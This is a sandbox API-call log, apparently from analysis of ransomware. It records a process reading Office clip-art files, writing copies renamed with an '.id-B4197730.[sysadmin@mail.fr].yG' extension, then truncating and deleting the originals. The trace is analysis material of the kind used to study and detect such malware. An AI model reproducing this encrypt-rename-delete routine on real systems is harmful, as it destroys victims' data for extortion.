	[0144.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.549] lstrlenW (lpString=".xls") returned 4
	[0144.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.549] lstrlenW (lpString=".xlsx") returned 5
	[0144.550] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.550] lstrlenW (lpString=".ppt") returned 4
	[0144.550] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.550] lstrlenW (lpString=".zip") returned 4
	[0144.550] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.550] lstrlenW (lpString=".rar") returned 4
	[0144.550] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString=".bz2") returned 4
	[0144.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString=".7z") returned 3
	[0144.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.550] lstrlenW (lpString=".dbf") returned 4
	[0144.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.550] lstrlenW (lpString=".1cd") returned 4
	[0144.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.550] lstrlenW (lpString=".jpg") returned 4
	[0144.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.550] lstrlenW (lpString=".doc") returned 4
	[0144.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString=".docx") returned 5
	[0144.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.550] lstrlenW (lpString=".pdf") returned 4
	[0144.550] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.550] lstrlenW (lpString=".xls") returned 4
	[0144.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.551] lstrlenW (lpString=".xlsx") returned 5
	[0144.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.551] lstrlenW (lpString=".ppt") returned 4
	[0144.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.551] lstrlenW (lpString=".zip") returned 4
	[0144.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.551] lstrlenW (lpString=".rar") returned 4
	[0144.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.551] lstrlenW (lpString=".bz2") returned 4
	[0144.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.551] lstrlenW (lpString=".7z") returned 3
	[0144.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.551] lstrlenW (lpString=".dbf") returned 4
	[0144.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.551] lstrlenW (lpString=".1cd") returned 4
	[0144.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 68
	[0144.551] lstrlenW (lpString=".jpg") returned 4
	[0144.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.551] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.551] lstrlenW (lpString="ED00172_.WMF") returned 12
	[0144.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.552] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2700) returned 1
	[0144.552] CloseHandle (hObject=0x4d8) returned 1
	[0144.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x220
	[0144.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.553] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.553] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.554] GetLastError () returned 0x0
	[0144.554] ReadFile (in: hFile=0x4d8, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xa8c, lpOverlapped=0x0) returned 1
	[0144.562] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xa90, lpOverlapped=0x0) returned 1
	[0144.564] ReadFile (in: hFile=0x4d8, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.564] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.564] SetEndOfFile (hFile=0x530) returned 1
	[0144.564] CloseHandle (hObject=0x530) returned 1
	[0144.564] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.564] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.643] CloseHandle (hObject=0x4d8) returned 1
	[0144.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00172_.wmf")) returned 1
	[0144.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.644] lstrlenW (lpString=".doc") returned 4
	[0144.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.644] lstrlenW (lpString=".docx") returned 5
	[0144.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.644] lstrlenW (lpString=".pdf") returned 4
	[0144.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.644] lstrlenW (lpString=".xls") returned 4
	[0144.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.645] lstrlenW (lpString=".xlsx") returned 5
	[0144.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.645] lstrlenW (lpString=".ppt") returned 4
	[0144.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.645] lstrlenW (lpString=".zip") returned 4
	[0144.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.645] lstrlenW (lpString=".rar") returned 4
	[0144.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.645] lstrlenW (lpString=".bz2") returned 4
	[0144.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.645] lstrlenW (lpString=".7z") returned 3
	[0144.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.645] lstrlenW (lpString=".dbf") returned 4
	[0144.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.645] lstrlenW (lpString=".1cd") returned 4
	[0144.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.646] lstrlenW (lpString=".jpg") returned 4
	[0144.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.646] lstrlenW (lpString=".doc") returned 4
	[0144.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.646] lstrlenW (lpString=".docx") returned 5
	[0144.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.646] lstrlenW (lpString=".pdf") returned 4
	[0144.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.646] lstrlenW (lpString=".xls") returned 4
	[0144.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.646] lstrlenW (lpString=".xlsx") returned 5
	[0144.646] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.646] lstrlenW (lpString=".ppt") returned 4
	[0144.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.646] lstrlenW (lpString=".zip") returned 4
	[0144.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.647] lstrlenW (lpString=".rar") returned 4
	[0144.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.647] lstrlenW (lpString=".bz2") returned 4
	[0144.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.647] lstrlenW (lpString=".7z") returned 3
	[0144.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.647] lstrlenW (lpString=".dbf") returned 4
	[0144.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.647] lstrlenW (lpString=".1cd") returned 4
	[0144.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 68
	[0144.647] lstrlenW (lpString=".jpg") returned 4
	[0144.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.647] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.648] lstrlenW (lpString="ED00184_.WMF") returned 12
	[0144.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.648] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=6958) returned 1
	[0144.648] CloseHandle (hObject=0x4d8) returned 1
	[0144.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220
	[0144.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.649] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.649] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0144.650] GetLastError () returned 0x0
	[0144.650] ReadFile (in: hFile=0x4d8, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x1b2e, lpOverlapped=0x0) returned 1
	[0144.661] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0144.663] ReadFile (in: hFile=0x4d8, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.663] WriteFile (in: hFile=0x51c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.663] SetEndOfFile (hFile=0x51c) returned 1
	[0144.663] CloseHandle (hObject=0x51c) returned 1
	[0144.663] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.663] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.669] CloseHandle (hObject=0x4d8) returned 1
	[0144.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1
	[0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.675] lstrlenW (lpString=".doc") returned 4
	[0144.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.675] lstrlenW (lpString=".docx") returned 5
	[0144.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.675] lstrlenW (lpString=".pdf") returned 4
	[0144.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.675] lstrlenW (lpString=".xls") returned 4
	[0144.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.675] lstrlenW (lpString=".xlsx") returned 5
	[0144.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.675] lstrlenW (lpString=".ppt") returned 4
	[0144.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.675] lstrlenW (lpString=".zip") returned 4
	[0144.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.675] lstrlenW (lpString=".rar") returned 4
	[0144.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.675] lstrlenW (lpString=".bz2") returned 4
	[0144.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.675] lstrlenW (lpString=".7z") returned 3
	[0144.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.676] lstrlenW (lpString=".dbf") returned 4
	[0144.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.676] lstrlenW (lpString=".1cd") returned 4
	[0144.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.676] lstrlenW (lpString=".jpg") returned 4
	[0144.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.676] lstrlenW (lpString=".doc") returned 4
	[0144.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString=".docx") returned 5
	[0144.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.676] lstrlenW (lpString=".pdf") returned 4
	[0144.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString=".xls") returned 4
	[0144.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.676] lstrlenW (lpString=".xlsx") returned 5
	[0144.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.676] lstrlenW (lpString=".ppt") returned 4
	[0144.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.676] lstrlenW (lpString=".zip") returned 4
	[0144.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.676] lstrlenW (lpString=".rar") returned 4
	[0144.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.676] lstrlenW (lpString=".bz2") returned 4
	[0144.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.677] lstrlenW (lpString=".7z") returned 3
	[0144.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.677] lstrlenW (lpString=".dbf") returned 4
	[0144.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.677] lstrlenW (lpString=".1cd") returned 4
	[0144.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0144.677] lstrlenW (lpString=".jpg") returned 4
	[0144.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.677] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.677] lstrlenW (lpString="EN00006_.WMF") returned 12
	[0144.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0144.847] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=13936) returned 1
	[0144.847] CloseHandle (hObject=0x520) returned 1
	[0144.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220
	[0144.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0144.857] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.857] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0144.858] GetLastError () returned 0x0
	[0144.858] ReadFile (in: hFile=0x538, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3670, lpOverlapped=0x0) returned 1
	[0144.861] WriteFile (in: hFile=0x518, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3680, lpOverlapped=0x0) returned 1
	[0144.865] ReadFile (in: hFile=0x538, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.865] WriteFile (in: hFile=0x518, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.865] SetEndOfFile (hFile=0x518) returned 1
	[0144.866] CloseHandle (hObject=0x518) returned 1
	[0144.866] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.866] SetEndOfFile (hFile=0x538) returned 1
	[0144.870] CloseHandle (hObject=0x538) returned 1
	[0144.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1
	[0144.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0144.872] lstrlenW (lpString=".doc") returned 4
	[0144.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
